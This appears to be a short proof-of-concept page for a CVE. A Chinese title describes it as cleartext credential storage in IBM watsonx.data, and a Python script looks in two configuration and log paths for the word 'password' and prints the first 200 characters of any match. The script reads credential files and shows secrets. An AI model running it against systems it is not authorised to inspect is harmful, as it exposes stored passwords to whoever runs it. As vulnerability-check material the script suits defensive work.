CVE-2025-36335 IBM watsonx.data凭证明文存储漏洞

import os # Hypothetical paths where credentials might be stored TARGET_PATHS = [ "/opt/ibm/watsonx/conf/config.properties", "/var/log/ibm/watsonx/setup.log" ] def check_cleartext_creds(): # Check if the target files exist and read them for path in TARGET_PATHS: if os.path.exists(path): print(f"[+] Found file: {path}") try: with open(path, 'r') as f: content = f.read() # Simple check for password keywords if "password" in content.lower(): print("[!] Potential cleartext credentials found!") print("--- Content Snippet ---") print(content[:200]) # Print first 200 chars except Exception as e: print(f"[-] Error reading file: {e}") else: print(f"[-] File not found: {path}") if __name__ == "__main__": print("[*] Scanning for CVE-2025-36335 vulnerability...") check_cleartext_creds()